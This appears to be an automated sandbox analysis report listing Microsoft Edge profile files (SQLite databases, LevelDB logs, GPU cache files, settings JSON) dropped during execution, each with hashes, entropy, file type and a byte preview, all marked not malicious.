Preview:	SQLite format 3......@ ..........................................................................S`.........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\ed2893b3-c687-4a7c-b689-8ffe9fadc236.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23938
Entropy (8bit):	5.590717864849618
Encrypted:	false
SSDEEP:	384:naSfCtvFeKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OV9LlG9yCBrU6gpFIOIjuD:na4W9e8F1+UoAYDCx9Tuqh0VfUC9xboh
MD5:	1BCE8C574293FAA028177E9D1F5FF28E
SHA1:	6ED23082468D9B6D631FF5984D19CBF31511ADBB
SHA-256:	BB8666FD5E47FEE0B899D80AACBD126F2EE84B0F10649B68709FEAA80350B65B
SHA-512:	8249F783929BDC57AC5CE00A6220F92934F0D3464E2030DB0B2036092CEE310D943E68EA123DC0AA86CEBB705C310A6E722B9656947582459A5FCE5787ACD128
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"state":1},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13381052066563424","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","https://*excel.dod.onli

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3520970289101682
Encrypted:	false
SSDEEP:	12:TLClFwaBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLSdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	55F778626761B226D19C9C8274DF2439
SHA1:	43C5D4AF9773FF84D0FF187A4E1A72E6804B82E7
SHA-256:	DD487DC1556A3E1FBDFCF3151839B07A5B9EC36B4554F1A7BB35A97CACE60839
SHA-512:	DB63B2D2A5AC074244EA937DE49E110C36B5AF2C5B0698C51E5A0B93163703FB2BDDBEF9A700B7A66D1C96709A9FD702D5597DEF9FCD6CEA3F50D1C0BE88ED20
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, writer version 2, read version 2, file counter 1, database pages 1, cookie 0, schema 0, unknown 0 encoding, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.0900719749007182
Encrypted:	false
SSDEEP:	3:lSWFN3sl+ltl1FolvXll:l9Fys1Po
MD5:	FBA3A6CE4B85E7F019F2335DDE78F3E3
SHA1:	27C357AB868CCFDB0EAD5A7DBA20F0AB1A178243
SHA-256:	0288655CBF53C3C1C838B83AA061C1BB960004D99652857589DF08BE3BE4C8F8
SHA-512:	F0D44E3DE5FBD2D124D3523E053CFA79BE5640E4FD2CFB4FC21F91CEF226540A22328E15A414C6C69D792ECE4C7FC7A8E86A7BF8F11C055324B89DE00469BD48
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.27718562076190567
Encrypted:	false
SSDEEP:	3:7FEG2l/tZXl/lFll:7+/l/tp
MD5:	A5CAD0922B8BC541AB1384ECAFA9F876
SHA1:	6FBC4A02AB68B31E5736D323E41DAC344F21F577
SHA-256:	A4225C87E96B9955ED044CC062357741F9AA779345B1E746B7FEBF00F4C4B37E
SHA-512:	32EF7EAF37AA8F9BE0BB4169B0611423AAACD539DFA8A185C22C4A1CF4FC268E957105058CEED3838C6B6CC7A74F75FCEC9C692027D106F47F47A65924F18B65
Malicious:	false
Preview:	.... .c....... A................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.7974299558090553
Encrypted:	false
SSDEEP:	48:4onnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnE/yjyjyjyjyjY:4lWsoC5cmtrWAEw
MD5:	B9C0EE71AE36A0DA6BC330F9263D687F
SHA1:	AC31BBA358CAC0916823E9F86CAC705A62674D85
SHA-256:	38AF9BD87714F041BA4B2C1ECB48CAE00232101FB2A001FD1635A2F922E7419E
SHA-512:	F6C095CD0B0DB6AD1C8B17A220FD2CBC6257E90BBD8B11C3F06F3EDB37F4F92C586531E20C5948927712B55C4C8A231623B33C3C89EECFDE1FFAE727BBAAA96C
Malicious:	false
Preview:	..-.............F...........D.<Iy..M...jg.......-.............F...........D.<Iy..M...jg.............A...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	3452592
Entropy (8bit):	3.9991046558346786
Encrypted:	false
SSDEEP:	12288:BpC6Ki1MUCTwmcFFug7yww4A/ahG+97D+PVdHtSbv0hhFmzcTinNNHqQhy937DQ9:5
MD5:	C86C276F67CAF9D6741E1BC7CBCB3D13
SHA1:	0D795EFF0C4D3DD4D731C6C169A66284F9D4AC6D
SHA-256:	9E119DB26A90DABE4E916854C3CFF03347867958012F7902C28BACB548AA6BA7
SHA-512:	22F9F137A0CF548C08DA2AF2DCE668AECD8AFB288F340236E102273874230D3D8DEE72CEC124162592BBAC9BCCBF65D1481D1346916BE599643BCA7002E5C8F3
Malicious:	false
Preview:	7....-..........Iy..M...af\|\.._N........Iy..M...X..r.8SQLite format 3......@ ..........................................................................S`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.191544479427758
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQRptG6lhs6lgR6D5WPtKOCG+UI5WPtKOCv2a+MZ4NyN1FMZ4N1cn:/XntM+wDGJR6t4K7t4KoT3NSF3N1cn
MD5:	A443D67E73604650C3D3F31ABA6978BF
SHA1:	D341F2C3F25BF0BD03BE22F7294AAC9353943381
SHA-256:	7956CED0D3A60E93AD3F5E6A44EBB7BD71AACF3E4B07D9A1A8D3C5518830BCE8
SHA-512:	C5E4A379AE71A29141FB1947319CBA48BB7D31E3F81811F24A3545135FB799C382AA3DE27E873C67414B03B7DA9B306C6F236B477E3F967EC6163116A681AE41
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1.+...................4_IPH_LiveCaption...IPH_LiveCaption......4_IPH_PasswordsAccountStorage!..IPH_PasswordsAccountStorage......4_IPH_ProfileSwitch...IPH_ProfileSwitch....

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.249323794794118
Encrypted:	false
SSDEEP:	6:iOnvtj4MJYDhP5c23oH+Tcwtfrl2KLl1Vh4q2TYDhP5c23oH+TcwtfrK+IFUv:7nvtj4rPhYeb1LrVh4vsPhYeb23FUv
MD5:	024F95692E265A78FA22CF17B8242228
SHA1:	E43B008BAD52423EA746B8B60D52A2E1BFF00307
SHA-256:	E90DEACC156422F88C020CD738890A3F0AFA367F1DECAB0FF800AA6A19886304
SHA-512:	1070085156AEFA36B2E826BF92A3CB9B6D5D9F98436EA52E56720E932235187EEECEE9212A4233A8A9A1B5D37B54E400DD30250DF131978E0CBF28F567EF31C4
Malicious:	false
Preview:	2025/01/11-01:54:28.565 1464 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2025/01/11-01:54:28.608 1464 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	526
Entropy (8bit):	3.9128078536884288
Encrypted:	false
SSDEEP:	12:G0nYEQWddZ5ywZdFPEWXZi+5oKAk7blt0:G0nYEQWd35ywZP9i+lA8i
MD5:	38776C76D0EA5547595AA8637B859D98
SHA1:	9C1B8F71FEABF422D2EDFA2EA3EBFF85C108F135
SHA-256:	D36A7D7AEDB2D26AD2E57BF50FF98013F5F568D8F41DA1AC652A8783E20F1D36
SHA-512:	3D4F9BFB9441B3C8EF3EAC4153F3FFCBAF876E51B2DAB29C081A255B574650A35128A6CFE7DAA685323610F4A17832666FE709798D41D59E9323DCF2AFB8B550
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... ..'i..................21_........................21_......ah0.................20_.....'...................20_.......T=.................19_.....*...................18_.....L....................3_.....Z..+.................4_.......w<.................20_.........................20_..........................19_.....}....................18_.......$..................3_.....l.I..................4_........q.................9_......!ig.................9_.....

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.223285564712569
Encrypted:	false
SSDEEP:	6:iOn6x4MJYDhP5c23oH+Tcwtfrzs52KLl1vBUbN4q2TYDhP5c23oH+TcwtfrzAdIg:7ne4rPhYebs9LrvibN4vsPhYeb9FUv
MD5:	B311725696D6C825A352D56A67ADF694
SHA1:	B1DFAC551091892920911B25281A857FD721A96C
SHA-256:	26FE30DE122978C0BB4A85EB80C0FC6A0CC2051297BDC77DBC03C5754E21E837
SHA-512:	6D9B13E0E6B59FB3064161FE614CE0318848540C1C63D383FF8F18044BB2548EC66AF2100647DB79D3CB15346E206BAB08871F66F85FD2FE5A855D3AC68D599A
Malicious:	false
Preview:	2025/01/11-01:54:27.875 1464 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2025/01/11-01:54:28.548 1464 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09255907315217722
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpL/lvXll:l9F8E1l
MD5:	D0ADE2BC9FC14FB88A095213DAA00A9B
SHA1:	D6615FE9FDF369535907683CF80EABA7F47D9535
SHA-256:	855E259F99088D8E801B79C64C4D332D272B8179765E2B2EA1F305BA58FECB8C
SHA-512:	927A031EB3F940F868B97EBC464106C547548D168057EF414E7CDE4373053A3DD355860D52A14FC0368C23B7589992CD9D4FE59B8E7D7F3E45F1E41F6180BA5B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.13801330818439836
Encrypted:	false
SSDEEP:	3:7FEG2l+N8/ul/FllkpMRgSWbNFl/sl+ltlslVFolvXllN8n:7+/lLIg9bNFlEs1Evo18n
MD5:	9E368B1E044FD65D7232E3BF136BB7D4
SHA1:	FB17DA6A3CADF6101091E871585F761FEAA37A68
SHA-256:	88E211F89FC85E3DBD4AE4E558374F5E5C8B528A985E52FF63F1D43498249514
SHA-512:	F370B156F99B7B6114BD0AA73A3D60972186AF774054CBBAF1FA67AB911858BA401A33F5EA32971CBA0CE084C74EA5360569AFEAA20D91646B3C375C8C0332D8
Malicious:	false
Preview:	.... .c.....k.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................S`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.39511584862387333
Encrypted:	false
SSDEEP:	24:K4MZ4e3QuzRDOsnZll7DBtDi4kZERD5heqt8VtbDBtDi4kZERD0G:cv3QMLnZll7DYMjeO8VFDYMAG
MD5:	E79D131D638D3E192027F3E1875C3DBA
SHA1:	081091FDAF9835DE3D382AC01476C845268C22C4
SHA-256:	BB3E6C0ABE94E9A15847CA5B4D6A39C5A8D82887C0679A0F446BC40731B44601
SHA-512:	3104A439D6AA86F0652512E64D902CC28CE135AC36992518C28513CCB01B07365BB74B9EEC5826B0D47A10EFA821A38244588EE9D13AA022E55A86A497435946
Malicious:	false
Preview:	7....-............k.89m..R..<............k.89m.....iSQLite format 3......@ ..........................................................................S`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, writer version 2, read version 2, file counter 2, database pages 1, cookie 0, schema 0, largest root page 1, unknown 0 encoding, version-valid-for 2
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.09255907315217722
Encrypted:	false
SSDEEP:	3:lSWFN3l/klslpL/lvXll:l9F8E1l
MD5:	D0ADE2BC9FC14FB88A095213DAA00A9B
SHA1:	D6615FE9FDF369535907683CF80EABA7F47D9535
SHA-256:	855E259F99088D8E801B79C64C4D332D272B8179765E2B2EA1F305BA58FECB8C
SHA-512:	927A031EB3F940F868B97EBC464106C547548D168057EF414E7CDE4373053A3DD355860D52A14FC0368C23B7589992CD9D4FE59B8E7D7F3E45F1E41F6180BA5B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.1374164954672919
Encrypted:	false
SSDEEP:	3:7FEG2l+zQkl/FllkpMRgSWbNFl/sl+ltlslVFolvXll0v:7+/lRyg9bNFlEs1EvoMv
MD5:	98872F837D7F6731C21386CBC5759BEC
SHA1:	98D28BC6851B1BBB442E0508856C04ABD5AFDCC1
SHA-256:	32C5E47906E2492107E389B6D7A30953A47D727044CE5EA85C0EAEAA3810E067
SHA-512:	AEC0D6594601E225FD4E1A37E940F5925C80E93178E1162B636F14FB3F9C710F3B2BEFD84A975ED7FECBFD41CCED9EB843AF2C93B2A3654053CCBB0D08930058
Malicious:	false
Preview:	.... .c.....V5@.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................S`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	45352
Entropy (8bit):	0.3943074760736888
Encrypted:	false
SSDEEP:	24:KX0V4l8QuzRDHZll7DBtDi4kZERDHuyTeqt8VtbDBtDi4kZERDJRs:40VnQMDZll7DYMbuyTeO8VFDYM7s
MD5:	A4EF78B71F5DC1B78C1E9FCEBEA05B77
SHA1:	C3904311AA16A96D10EEAD2824F4976AEA3214EF
SHA-256:	44A3E1FA4FB874BB7C82D9361438DE0595773A9EE14D1A6CA70B0816A0917210
SHA-512:	086BB268FF0E49FDCC96C301084819E0DE84A420D87EBFF57E1CC0FA3F7C0B9D50E1741433B0190FE9F07F4D71E4B350A3151B7F4974AA5AE8592CA589B62DFA
Malicious:	false
Preview:	7....-..........{#.].dY.2.&...c.........{#.].dY.LO$L=d:DSQLite format 3......@ ..........................................................................S`............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0l+:LsFK+
MD5:	9ED56F0466B80898404204B0BEF6EBC7
SHA1:	7A689D34BDCE9C22F3CBB86F98934AD2A0A5D0F1
SHA-256:	CCBFEE2D78D7E898954290E633B4589A14DD09E7910979E370B67A07D1890EE2
SHA-512:	67D93BDF93E97C92557F0DBFC2F06F12B47793A18F3202A9A323D5C1A198D865CF880F686E92A0FA80D5285CFE0ACDFB957D4E970E1DE1A4FD15F1377E107F08
Malicious:	false
Preview:	........................................#.*.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	2.59490661824394
Encrypted:	false
SSDEEP:	3:gem3:gL3
MD5:	E60DFE28E77A79CD2CAA4F53BD711995
SHA1:	2A150938498D9778DAF21F87B3E52ABDD4084716
SHA-256:	D5E1FB030857E079A8FD6811C81BF756D23CED9AF5DC299354C88F89B763415E
SHA-512:	B2ED5D4C3EEB946C2C869988E227ACD771614D559E1C108578546AA919E74251B92C7A1241D5E113018AB20A4295BBBCC12B7C520FB1C13DB242EC1B02B74F43
Malicious:	false
Preview:	94.0.992.31

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
